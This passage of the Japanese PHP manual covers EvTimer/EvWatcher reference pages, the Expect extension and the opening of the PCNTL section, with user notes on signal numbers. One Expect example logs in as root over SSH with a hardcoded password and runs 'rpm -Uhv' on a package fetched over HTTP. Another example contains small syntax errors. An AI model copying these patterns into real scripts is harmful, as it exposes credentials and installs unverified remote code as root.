    $stat = $w->data;

    // 1 second after the most recent change of the file
    printf("Current size: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
    // Reset timer watcher
    $timer->again();
});

$timer->data = $stat;

Ev::run();
?>

参考

  • EvTimer::__construct() - Constructs an EvTimer watcher object
  • EvPeriodic

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ≪ EvTimer::createStopped
  • EvWatcher ≫
  • PHP Manual
  • EvTimer
  • Configures the watcher

EvTimer::set

(PECL ev >= 0.2.0)

EvTimer::set — Configures the watcher

説明

public EvTimer::set ( float $after , float $repeat ) : void

Configures the watcher

パラメータ

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The EvWatcher class

(PECL ev >= 0.2.0)

はじめに

EvWatcher is a base class for all watchers( EvCheck , EvChild etc.). Since EvWatcher 's constructor is abstract , one can't(and don't need to) create EvWatcher objects directly.

クラス概要

abstract EvWatcher {
/* プロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public clear ( ) : int
abstract public __construct ( )
public feed ( int $revents ) : void
public getLoop ( ) : EvLoop
public invoke ( int $revents ) : void
public keepalive ( bool $value = ? ) : bool
public setCallback ( callable $callback ) : void
public start ( ) : void
public stop ( ) : void
}

プロパティ

is_active

Readonly . true if the watcher is active. false otherwise.

data

User custom data associated with the watcher

is_pending

Readonly .true if the watcher is pending, i.e. it has outstanding events, but its callback has not yet been invoked. false otherwise. As long, as a watcher is pending(but not active), one must not change its priority.

priority

int between Ev::MINPRI and Ev::MAXPRI . Pending watchers with higher priority will be invoked before watchers with lower priority, but priority will not keep watchers from being executed(except for EvIdle watchers). EvIdle watchers provide functionality to suppress invocation when higher priority events are pending.

目次

  • EvWatcher::clear — Clear watcher pending status
  • EvWatcher::__construct — Abstract constructor of a watcher object
  • EvWatcher::feed — Feeds the given revents set into the event loop
  • EvWatcher::getLoop — Returns the loop responsible for the watcher
  • EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask
  • EvWatcher::keepalive — Configures whether to keep the loop from returning
  • EvWatcher::setCallback — Sets new callback for the watcher
  • EvWatcher::start — Starts the watcher
  • EvWatcher::stop — Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Clear watcher pending status

  • ≪ EvWatcher
  • EvWatcher::__construct ≫
  • PHP Manual
  • EvWatcher
  • Clear watcher pending status

EvWatcher::clear

(PECL ev >= 0.2.0)

EvWatcher::clear — Clear watcher pending status

説明

public EvWatcher::clear ( ) : int

If the watcher is pending, this method clears its pending status and returns its revents bitset(as if its callback was invoked). If the watcher isn't pending it does nothing and returns 0 .

Sometimes it can be useful to "poll" a watcher instead of waiting for its callback to be invoked, which can be accomplished with this function.

パラメータ

この関数にはパラメータはありません。

返り値

In case if the watcher is pending, returns revents bitset as if the watcher callback had been invoked. Otherwise returns 0 .

User Contributed Notes

There are no user contributed notes for this page.


Abstract constructor of a watcher object

  • ≪ EvWatcher::clear
  • EvWatcher::feed ≫
  • PHP Manual
  • EvWatcher
  • Abstract constructor of a watcher object

EvWatcher::__construct

(PECL ev >= 0.2.0)

EvWatcher::__construct — Abstract constructor of a watcher object

説明

abstract public EvWatcher::__construct ( )

EvWatcher::__construct() is an abstract constructor of a watcher object implemented in the derived classes.

User Contributed Notes

There are no user contributed notes for this page.


Feeds the given revents set into the event loop

  • ≪ EvWatcher::__construct
  • EvWatcher::getLoop ≫
  • PHP Manual
  • EvWatcher
  • Feeds the given revents set into the event loop

EvWatcher::feed

(PECL ev >= 0.2.0)

EvWatcher::feed — Feeds the given revents set into the event loop

説明

public EvWatcher::feed ( int $revents ) : void

Feeds the given revents set into the event loop, as if the specified event had happened for the watcher.

パラメータ

revents

Bit mask of watcher received events .

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Returns the loop responsible for the watcher

  • ≪ EvWatcher::feed
  • EvWatcher::invoke ≫
  • PHP Manual
  • EvWatcher
  • Returns the loop responsible for the watcher

EvWatcher::getLoop

(PECL ev >= 0.2.0)

EvWatcher::getLoop — Returns the loop responsible for the watcher

説明

public EvWatcher::getLoop ( ) : EvLoop

Returns the loop responsible for the watcher

パラメータ

この関数にはパラメータはありません。

返り値

Returns EvLoop event loop object responsible for the watcher.

User Contributed Notes

There are no user contributed notes for this page.


Invokes the watcher callback with the given received events bit mask

  • ≪ EvWatcher::getLoop
  • EvWatcher::keepalive ≫
  • PHP Manual
  • EvWatcher
  • Invokes the watcher callback with the given received events bit mask

EvWatcher::invoke

(PECL ev >= 0.2.0)

EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask

説明

public EvWatcher::invoke ( int $revents ) : void

Invokes the watcher callback with the given received events bit mask.

パラメータ

revents

Bit mask of watcher received events .

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Configures whether to keep the loop from returning

  • ≪ EvWatcher::invoke
  • EvWatcher::setCallback ≫
  • PHP Manual
  • EvWatcher
  • Configures whether to keep the loop from returning

EvWatcher::keepalive

(PECL ev >= 0.2.0)

EvWatcher::keepalive — Configures whether to keep the loop from returning

説明

public EvWatcher::keepalive ( bool $value = ? ) : bool

Configures whether to keep the loop from returning. With keepalive value set to false the watcher won't keep Ev::run() / EvLoop::run() from returning even though the watcher is active.

Watchers have keepalive value true by default.

Clearing keepalive status is useful when returning from Ev::run() / EvLoop::run() just because of the watcher is undesirable. It could be a long running UDP socket watcher or so.

パラメータ

value

With keepalive value set to false the watcher won't keep Ev::run() / EvLoop::run() from returning even though the watcher is active.

返り値

Returns the previous state.

例

例1 Register an I/O watcher for some UDP socket but do not keep the event loop from running just because of that watcher.

<?php
$udp_socket = ...
$udp_watcher = new EvIo($udp_socket, Ev::READ, function () { /* ... */ });
$udp_watcher->keepalive(FALSE);
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets new callback for the watcher

  • ≪ EvWatcher::keepalive
  • EvWatcher::start ≫
  • PHP Manual
  • EvWatcher
  • Sets new callback for the watcher

EvWatcher::setCallback

(PECL ev >= 0.2.0)

EvWatcher::setCallback — Sets new callback for the watcher

説明

public EvWatcher::setCallback ( callable $callback ) : void

Sets new callback for the watcher

パラメータ

callback

See Watcher callbacks .

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Starts the watcher

  • ≪ EvWatcher::setCallback
  • EvWatcher::stop ≫
  • PHP Manual
  • EvWatcher
  • Starts the watcher

EvWatcher::start

(PECL ev >= 0.2.0)

EvWatcher::start — Starts the watcher

説明

public EvWatcher::start ( ) : void

Marks the watcher as active. Note that only active watchers will receive events.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvWatcher::stop() - Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Stops the watcher

  • ≪ EvWatcher::start
  • Expect ≫
  • PHP Manual
  • EvWatcher
  • Stops the watcher

EvWatcher::stop

(PECL ev >= 0.2.0)

EvWatcher::stop — Stops the watcher

説明

public EvWatcher::stop ( ) : void

Marks the watcher as inactive. Note that only active watchers will receive events.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


Expect

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • Expect の使用例
  • Expect 関数
    • expect_expectl — プロセスの出力がパターンに一致する・指定した時間が経過する・ あるいは EOF に達するのいずれかにあてはまるまで待ち続ける
    • expect_popen — Bourne シェル経由でコマンドを実行し、プロセスへの PTY ストリームをオープンする

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、PTY を経由したプロセス同士の対話機能を提供します。 ファイルシステム関数 で expect:// ラッパー を利用すれば、シンプルでより直感的なインターフェイスが利用できるでしょう。

User Contributed Notes

There are no user contributed notes for this page.


要件

このモジュールは » expect ライブラリの 関数を使用します。libexpect バージョン >= 5.43.0 が必要です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。 この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/expect.

これらの関数を使用するには、--with-expect[=DIR] オプションを使用して expect サポートつきで PHP をコンパイルする必要があります。

Windows ユーザーは、これらの関数を使用するためには php.ini の中で php_expect.dll を有効にします。 この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

expect 拡張モジュールを設定するために、 設定ファイル php.ini に 設定項目が用意されています。

Expect 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
expect.timeout | "10" | PHP_INI_ALL |
expect.loguser | "1" | PHP_INI_ALL |
expect.logfile | "" | PHP_INI_ALL |
expect.match_max | "" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

expect.timeout int

データを待ち受ける際のタイムアウト時間です。 expect_expectl() 関数で使用されます。

"-1" を指定すると、タイムアウトを発生させないようにします。

注意:

"0" を指定すると、expect_expectl() 関数は 結果を直ちに返します。

expect.loguser bool

expect が、子プロセスの出力を標準出力に送るかどうかを指定します。 典型的な対話型プログラムは入力した内容を表示するので、これを使用すれば 対話の両方の側を表示することができます。

expect.logfile string

子プロセスの出力内容が書き込まれるファイルの名前。もしファイルが 存在しない場合は新しく作成されます。

注意:

この設置が空欄でなかった場合、 expect.loguser の設定内容に かかわらず出力が書き込まれます。

expect.match_max int

パターン内のアスタリスクとのマッチに使うバッファのデフォルトサイズ (2000 バイト) を変更します。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

expect_popen() は、オープンした PTY ストリームを返します。これを expect_expectl() で使用します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

EXP_GLOB (int)
パターンが、glob 形式の文字列パターンであることを示します。
EXP_EXACT (int)
パターンが、単なる文字列であることを示します。
EXP_REGEXP (int)
パターンが、正規表現形式の文字列パターンであることを示します。
EXP_EOF (int)
EOF に到達した際に expect_expectl() が返す値です。
EXP_TIMEOUT (int)
expect.timeout で指定した秒数を こえた際に expect_expectl() が返す値です。
EXP_FULLBUFFER (int)
一致するパターンがなかった際に expect_expectl() が返す値です。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • Expect の使用例

User Contributed Notes

There are no user contributed notes for this page.


Expect の使用例

例1 Expect の使用例

この例ではリモートホストに SSH 経由で接続し、接続先の稼働時間を表示します。

<?php
ini_set("expect.loguser", "Off");

$stream = fopen("expect://ssh root@remotehost uptime", "r");

$cases = array (
    array (0 => "password:", 1 => PASSWORD)
);

switch (expect_expectl ($stream, $cases)) {
    case PASSWORD:
        fwrite ($stream, "password\n");
        break;

    default:
        die ("リモートホストへの接続時にエラーが発生しました!\n");
}

while ($line = fgets($stream)) {
      print $line;
}
fclose ($stream);
?>

次の例は、リモートホストに接続して インストールされている OS が 32 ビットか 64 ビットかを確認し、 それぞれのパッケージのアップデートを実行します。

例2 もうひとつの Expect の使用例

<?php
ini_set("expect.timeout", -1);
ini_set("expect.loguser", "Off");

$stream = expect_popen("ssh root@remotehost");

while (true) {
    switch (expect_expectl ($stream, array (
            array ("password:", PASSWORD), // SSH がパスワードを問い合わせます
            array ("yes/no)?", YESNO), // SSH がホストエントリを保存するかどうかを問い合わせます
            array ("~$ ", SHELL, EXP_EXACT), // シェルにたどり着きました!
    ))) {
        case PASSWORD:
            fwrite ($stream, "secret\n");
            break;

        case YESNO:
            fwrite ($stream, "yes\n");
            break;

        case SHELL:
            fwrite ($stream, "uname -a\n");
            while (true) {
                    switch (expect_expectl ($stream, array (
                            array ("~$ ", SHELL, EXP_EXACT), // シェルにたどり着きました!
                            array ("^Linux.*$", UNAME, EXP_REGEXP), // uname -a の出力
                    ), $match)) {
                        case UNAME:
                            $uname .= $match[0];
                            break;

                        case SHELL:
                            // アップデートの実行
                            if (strstr ($uname, "x86_64")) {
                                    fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_64bit.rpm\n");
                            } else {
                                    fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_32bit.rpm\n");
                            }
                            fwrite ($stream, "exit\n");
                            break 2;

                        case EXP_TIMEOUT:
                        case EXP_EOF:
                            break 2;

                        default:
                            die ("エラーが発生しました!\n");
                    }
            }
            break 2;

        case EXP_TIMEOUT:
        case EXP_EOF:
            break 2;

        default:
            die ("エラーが発生しました!\n");
    }
}

fclose ($stream);
?>

User Contributed Notes

David dkxl 28-Dec-2012 06:30
If using the examples with telnet instead of ssh, note that telnet may need \r (Carriage Return) instead of \n (New Line)


Expect 関数

目次

  • expect_expectl — プロセスの出力がパターンに一致する・指定した時間が経過する・ あるいは EOF に達するのいずれかにあてはまるまで待ち続ける
  • expect_popen — Bourne シェル経由でコマンドを実行し、プロセスへの PTY ストリームをオープンする

User Contributed Notes

There are no user contributed notes for this page.


プロセスの出力がパターンに一致する・指定した時間が経過する・ あるいは EOF に達するのいずれかにあてはまるまで待ち続ける

  • ≪ Expect 関数
  • expect_popen ≫
  • PHP Manual
  • Expect 関数
  • プロセスの出力がパターンに一致する・指定した時間が経過する・ あるいは EOF に達するのいずれかにあてはまるまで待ち続ける

expect_expectl

(PECL expect >= 0.1.0)

expect_expectl — プロセスの出力がパターンに一致する・指定した時間が経過する・ あるいは EOF に達するのいずれかにあてはまるまで待ち続ける

説明

expect_expectl ( resource $expect , array $cases , array &$match = ? ) : int

プロセスの出力がパターンに一致する・指定した時間が経過する・ あるいは EOF に達するのいずれかにあてはまるまで待ち続けます。

match を指定すると、検索結果がそこに保存されます。 一致した文字列が match[0] に保存され、 元のパターンの中の (括弧で囲まれた) 部分に一致する文字列が match[1]、match[2]、 と順に、最大 match[9] まで (libexpect の制限です) 保存されます。

パラメータ

expect

事前に expect_popen() でオープンした Expect ストリーム。

cases

expect case の配列。個々の expect case は数値添字の配列で、 以下のような形式となります。

Expect Case の配列
添字 | 値の型 | 説明 | 必須かどうか | デフォルト値
0 | string | ストリームからの出力との比較対象となるパターン。 | yes
1 | mixed | パターンに一致した場合にこの関数が返す値。 | yes
2 | integer | パターンの形式。 EXP_GLOB、 EXP_EXACT あるいは EXP_REGEXP のいずれかひとつです。 | no | EXP_GLOB

返り値

一致したパターンに関連付けられた値を返します。

この関数の実行に失敗した場合は、 EXP_EOF、 EXP_TIMEOUT あるいは EXP_FULLBUFFER を返します。

変更履歴

バージョン | 説明
PECL expect 0.2.1 | バージョン 0.2.1 より前では、match パラメータに返されるのはマッチした文字列であり、 部分文字列の配列ではありませんでした。

例

例1 expect_expectl() の例

<?php
// ファイルをリモートホストにコピーします
ini_set("expect.timeout", 30);

$stream = fopen("expect://scp user@remotehost:/var/log/messages /home/user/messages.txt", "r");

$cases = array(
    // array(パターン, パターンに一致した場合にこの関数が返す値)
    array("password:", "asked for password"),
    array("yes/no)?",  "asked for yes/no")
);

while (true) {
    switch (expect_expectl($stream, $cases)) {
        case "asked for password":
            fwrite($stream, "my password\n");
            break;
        case "asked for yes/no":
            fwrite($stream, "yes\n");
            break;
        case EXP_TIMEOUT:
        case EXP_EOF:
            break 2; // switch 文だけではなく while ループも抜けます
        default:
            die "エラーが発生しました!";
    }
}

fclose($stream);
?>
?>

参考

  • expect_popen() - Bourne シェル経由でコマンドを実行し、プロセスへの PTY ストリームをオープンする

User Contributed Notes

There are no user contributed notes for this page.


Bourne シェル経由でコマンドを実行し、プロセスへの PTY ストリームをオープンする

  • ≪ expect_expectl
  • PCNTL ≫
  • PHP Manual
  • Expect 関数
  • Bourne シェル経由でコマンドを実行し、プロセスへの PTY ストリームをオープンする

expect_popen

(PECL expect >= 0.1.0)

expect_popen — Bourne シェル経由でコマンドを実行し、プロセスへの PTY ストリームをオープンする

説明

expect_popen ( string $command ) : resource

Bourne シェル経由でコマンドを実行し、プロセスへの PTY ストリームを オープンします。

パラメータ

command

実行するコマンド。

返り値

プロセスの標準入力・標準出力・標準エラー出力への PTY ストリームを返します。

失敗した場合は、この関数は false を返します。

例

例1 expect_popen() の例

<?php
// PHP.net の CVS リポジトリにログインします
$stream = expect_popen ("cvs -d :pserver:anonymous@cvs.php.net:/repository login");
sleep (3);
fwrite ($stream, "phpfi\n");
fclose ($stream);
?>

参考

  • popen() - プロセスへのファイルポインタをオープンする

User Contributed Notes

There are no user contributed notes for this page.


プロセス制御

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
  • PCNTL 関数
    • pcntl_alarm — シグナルを送信するアラームを設定する
    • pcntl_async_signals — 非同期のシグナルハンドリングを有効/無効にするか、古い設定を返す
    • pcntl_errno — pcntl_get_last_error のエイリアス
    • pcntl_exec — 現在のプロセス空間で指定したプログラムを実行する
    • pcntl_fork — 現在実行中のプロセスをフォークする
    • pcntl_get_last_error — 直近の pcntl 関数が失敗したときのエラー番号を取得する
    • pcntl_getpriority — プロセスの優先度を取得する
    • pcntl_setpriority — プロセスの優先度を変更する
    • pcntl_signal_dispatch — ペンディングシグナル用のハンドラをコールする
    • pcntl_signal_get_handler — 指定されたシグナルの現在のハンドラを取得する
    • pcntl_signal — シグナルハンドラを設定する
    • pcntl_sigprocmask — ブロックされたシグナルを設定あるいは取得する
    • pcntl_sigtimedwait — タイムアウトつきでシグナルを待つ
    • pcntl_sigwaitinfo — シグナルを待つ
    • pcntl_strerror — 指定した errno に対応するシステムのエラーメッセージを取得する
    • pcntl_wait — 待つかフォークした子プロセスのステータスを返す
    • pcntl_waitpid — 待つかフォークした子プロセスのステータスを返す
    • pcntl_wexitstatus — 終了した子プロセスのリターンコードを返す
    • pcntl_wifexited — ステータスコードが正常終了を表しているかどうかを調べる
    • pcntl_wifsignaled — ステータスコードがシグナルによる終了を表しているかどうかを調べる
    • pcntl_wifstopped — 子プロセスが現在停止しているかどうかを調べる
    • pcntl_wstopsig — 子プロセスを停止させたシグナルを返す
    • pcntl_wtermsig — 子プロセスを終了させたシグナルを返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

PHP がサポートするプロセス制御関数は、Unix 形式のプロセス生成、 プロセス実行、シグナル処理、プロセス終了機能を実装しています。 プロセス制御は Web サーバー環境で有効にするべきではなく、プロセス 制御関数のどれかが Web サーバー環境で使用された場合には、予期しない結果を 生じる可能性があります。

この文書は、プロセス制御関数の一般的な使用法を説明しようとするものです。 Unix のプロセス制御に関する詳細な情報については、fork(2), waitpid(2) および signal(2) のようなシステムのドキュメントや、 W. Richard Stevens による Advanced Programming in the UNIX Environment (Addison-Wesley) のような優れた参考書を読まれることを推奨します。

現在 PCNTL はシグナルハンドルコールバックの仕組みとして ticks を 使用しており、これは以前の仕組みよりずっと高速です。この変更は "user ticks" を使用するのと同じことです。declare() を使用して、プログラム中でコールバックの発生を許可する場所を指定する 必要があります。これにより、非同期のイベントを処理する際の オーバーヘッドを最小限に抑えることが可能となります。以前は、pcntl を 有効にして PHP をコンパイルすると、pcntl の使用の有無にかかわらず 常にこのオーバーヘッドの被害を被っていたのです。

注意: この拡張モジュールは Windows 環境では利用できません。

User Contributed Notes

InvisibleSmiley 09-Nov-2020 08:34
The disabling of pcntl functions not only affects Apache servers but any non-CLI setup, e.g. nginx with PHP-FPM.

You can tell by issuing phpinfo() and looking at "disable_functions" in the Core section of the output.

It's also worth noting that this behavior can be quite misleading when you call one of the pcntl functions in a namespaced context. For example you may get:

"Call to undefined function some\custom\namespace\pcntl_signal()"

when calling pcntl_signal from a method within a namespaced class. Your first instinct may be to add a leading backslash, but that won't solve the problem. You need to check whether the function exists at runtime, unless the code is only ever executed from the CLI.
Rick Sustek 15-Jun-2016 09:02
Actually it makes perfect sense why process control features are not supported for the Apache module. The Apache HTTP server is the chief process. It invokes the PHP module when steered to PHP by the resource requested (e.g. http://foo.php) It invokes the PHP module, typically on a new thread or a pooled thread. The PHP module then runs your script, but Apache server is still the owning process.

In this execution model, the job of your PHP script is generally to go about its business as fast as possible and return. This allows the Apache daemon to do something else useful with the thread it let you borrow. Yes, some scripts take longer to do their duty than others, but blocking the thread for extended periods is usually frowned upon.

If your script was allowed to mess with the signal handlers of the running process, it would be messing with the Apache daemon itself! That daemon has already installed signal handlers for its own use. It is just plain sense not to allow the process control operations in this context.
sean dot kelly at mediatile dot com 09-Jan-2012 01:32
The following statement left me searching for answers for about a day before I finally clued in:

"Process Control should not be enabled within a web server environment and unexpected results may happen if any Process Control functions are used within a web server environment."

At least for PHP 5.3.8 which I am using, and who knows how far back, it's not a matter of "should not", it's "can not". Even though I have compiled in PCNTL with --enable-pcntl, it turns out that it only compiles in to the CLI version of PHP, not the Apache module. As a result, I spent many hours trying to track down why function_exists('pcntl_fork') was returning false even though it compiled correctly. It turns out it returns true just fine from the CLI, and only returns false for HTTP requests. The same is true of ALL of the pcntl_*() functions.


インストール手順

PHPがサポートするプロセス制御機能は、デフォルトでは有効となってい ません。プロセス制御機能を有効にするには、 configure のオプションに --enable-pcntl を付け、CGI 版あるいは CLI 版の PHP をコンパイルする必要があります。

注意:

現在、このモジュールは非 Unix 環境(Windows)では動作しません。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下のシグナルのリストがプロセス制御関数でサポートされています。 これらのシグナルのデフォルト動作の詳細については、 signal(7) のマニュアルを参照ください。

WNOHANG (int)
WUNTRACED (int)
SIG_IGN (int)
SIG_DFL (int)
SIG_ERR (int)
SIGHUP (int)
SIGINT (int)
SIGQUIT (int)
SIGILL (int)
SIGTRAP (int)
SIGABRT (int)
SIGIOT (int)
SIGBUS (int)
SIGFPE (int)
SIGKILL (int)
SIGUSR1 (int)
SIGSEGV (int)
SIGUSR2 (int)
SIGPIPE (int)
SIGALRM (int)
SIGTERM (int)
SIGSTKFLT (int)
SIGCLD (int)
SIGCHLD (int)
SIGCONT (int)
SIGSTOP (int)
SIGTSTP (int)
SIGTTIN (int)
SIGTTOU (int)
SIGURG (int)
SIGXCPU (int)
SIGXFSZ (int)
SIGVTALRM (int)
SIGPROF (int)
SIGWINCH (int)
SIGPOLL (int)
SIGIO (int)
SIGPWR (int)
SIGSYS (int)
SIGBABY (int)
SIG_BLOCK (int)
PHP 5.3.0 以降で使用可能です。
SIG_UNBLOCK (int)
PHP 5.3.0 以降で使用可能です。
SIG_SETMASK (int)
PHP 5.3.0 以降で使用可能です。
SI_USER (int)
PHP 5.3.0 以降で使用可能です。
SI_NOINFO (int)
PHP 5.3.0 以降で使用可能です。
SI_KERNEL (int)
PHP 5.3.0 以降で使用可能です。
SI_QUEUE (int)
PHP 5.3.0 以降で使用可能です。
SI_TIMER (int)
PHP 5.3.0 以降で使用可能です。
SI_MSGGQ (int)
PHP 5.3.0 以降で使用可能です。
SI_ASYNCIO (int)
PHP 5.3.0 以降で使用可能です。
SI_SIGIO (int)
PHP 5.3.0 以降で使用可能です。
SI_TKILL (int)
PHP 5.3.0 以降で使用可能です。
CLD_EXITED (int)
PHP 5.3.0 以降で使用可能です。
CLD_KILLED (int)
PHP 5.3.0 以降で使用可能です。
CLD_DUMPED (int)
PHP 5.3.0 以降で使用可能です。
CLD_TRAPPED (int)
PHP 5.3.0 以降で使用可能です。
CLD_STOPPED (int)
PHP 5.3.0 以降で使用可能です。
CLD_CONTINUED (int)
PHP 5.3.0 以降で使用可能です。
TRAP_BRKPT (int)
PHP 5.3.0 以降で使用可能です。
TRAP_TRACE (int)
PHP 5.3.0 以降で使用可能です。
POLL_IN (int)
PHP 5.3.0 以降で使用可能です。
POLL_OUT (int)
PHP 5.3.0 以降で使用可能です。
POLL_MSG (int)
PHP 5.3.0 以降で使用可能です。
POLL_ERR (int)
PHP 5.3.0 以降で使用可能です。
POLL_PRI (int)
PHP 5.3.0 以降で使用可能です。
POLL_HUP (int)
PHP 5.3.0 以降で使用可能です。
ILL_ILLOPC (int)
PHP 5.3.0 以降で使用可能です。
ILL_ILLOPN (int)
PHP 5.3.0 以降で使用可能です。
ILL_ILLADR (int)
PHP 5.3.0 以降で使用可能です。
ILL_ILLTRP (int)
PHP 5.3.0 以降で使用可能です。
ILL_PRVOPC (int)
PHP 5.3.0 以降で使用可能です。
ILL_PRVREG (int)
PHP 5.3.0 以降で使用可能です。
ILL_COPROC (int)
PHP 5.3.0 以降で使用可能です。
ILL_BADSTK (int)
PHP 5.3.0 以降で使用可能です。
FPE_INTDIV (int)
PHP 5.3.0 以降で使用可能です。
FPE_INTOVF (int)
PHP 5.3.0 以降で使用可能です。
FPE_FLTDIV (int)
PHP 5.3.0 以降で使用可能です。
FPE_FLTOVF (int)
PHP 5.3.0 以降で使用可能です。
FPE_FLTUND (int)
PHP 5.3.0 以降で使用可能です。
FPE_FLTRES (int)
PHP 5.3.0 以降で使用可能です。
FPE_FLTINV (int)
PHP 5.3.0 以降で使用可能です。
FPE_FLTSUB (int)
PHP 5.3.0 以降で使用可能です。
SEGV_MAPERR (int)
PHP 5.3.0 以降で使用可能です。
SEGV_ACCERR (int)
PHP 5.3.0 以降で使用可能です。
BUS_ADRALN (int)
PHP 5.3.0 以降で使用可能です。
BUS_ADRERR (int)
PHP 5.3.0 以降で使用可能です。
BUS_OBJERR (int)
PHP 5.3.0 以降で使用可能です。

User Contributed Notes

coder dot ua at gmail dot com 23-Aug-2014 01:05
You should see all signals and their codes in your system using: kill -l
In my Debian GNU/Linux 7.6 (wheezy):

 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
 6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) SIGALRM     15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
eclecticrob at gmail dot com 15-Apr-2012 10:26
On RedHat, the values of the constants are:

Signal SIGHUP = 1
Signal SIGINT = 2
Signal SIGQUIT = 3
Signal SIGILL = 4
Signal SIGTRAP = 5
Signal SIGABRT = 6
Signal SIGIOT = 6
Signal SIGBUS = 7
Signal SIGFPE = 8
Signal SIGUSR1 = 10
Signal SIGSEGV = 11
Signal SIGUSR2 = 12
Signal SIGPIPE = 13
Signal SIGALRM = 14
Signal SIGTERM = 15
Signal SIGSTKFLT = 16
Signal SIGCLD = 17
Signal SIGCHLD = 17
Signal SIGCONT = 18
Signal SIGTSTP = 20
Signal SIGTTIN = 21
Signal SIGTTOU = 22
Signal SIGURG = 23
Signal SIGXCPU = 24
Signal SIGXFSZ = 25
Signal SIGVTALRM = 26
Signal SIGPROF = 27
Signal SIGWINCH = 28
Signal SIGPOLL = 29
Signal SIGIO = 29
Signal SIGPWR = 30
Signal SIGSYS = 31
Signal SIGBABY = 31
Signal SIG_BLOCK = 0
Signal SIG_UNBLOCK = 1
Signal SIG_SETMASK = 2
eclecticrob at gmail dot com 04-Jan-2012 03:43
On OS X, the values of the constants are:

SIGHUP = 1
SIGINT = 2
SIGQUIT = 3
SIGILL = 4
SIGTRAP = 5
SIGABRT = 6
SIGIOT = 6
SIGBUS = 10
SIGFPE = 8
SIGUSR1 = 30
SIGSEGV = 11
SIGUSR2 = 31
SIGPIPE = 13
SIGALRM = 14
SIGTERM = 15
SIGSTKFLT not defined
SIGCLD not defined
SIGCHLD = 20
SIGCONT = 19
SIGTSTP = 18
SIGTTIN = 21
SIGTTOU = 22
SIGURG = 16
SIGXCPU = 24
SIGXFSZ = 25
SIGVTALRM = 26
SIGPROF = 27
SIGWINCH = 28
SIGPOLL not defined
SIGIO = 23
SIGPWR not defined
SIGSYS = 12
SIGBABY = 12
SIG_BLOCK = 1
SIG_UNBLOCK = 2
SIG_SETMASK = 3


例

目次

  • 基本的な使用法

User Contributed Notes

netkiller at msn dot com 21-Oct-2015 09:16
<?php
/*
 * PHP Daemon sample.
 * Home: http://netkiller.github.io
 * Author: netkiller<netkiller@msn.com>
 *
*/
class Logger {

    public function __construct(/*Logging $logger*/) {
    }

    public function logger($type, $message) {
        $log = sprintf ( "%s\t%s\t%s\n", date ( 'Y-m-d H:i:s' ), $type, $message );
        file_put_contents ( sprintf(__DIR__."/../log/sender.%s.log", date ( 'Y-m-d' )), $log, FILE_APPEND );
    }

}

final class Signal{
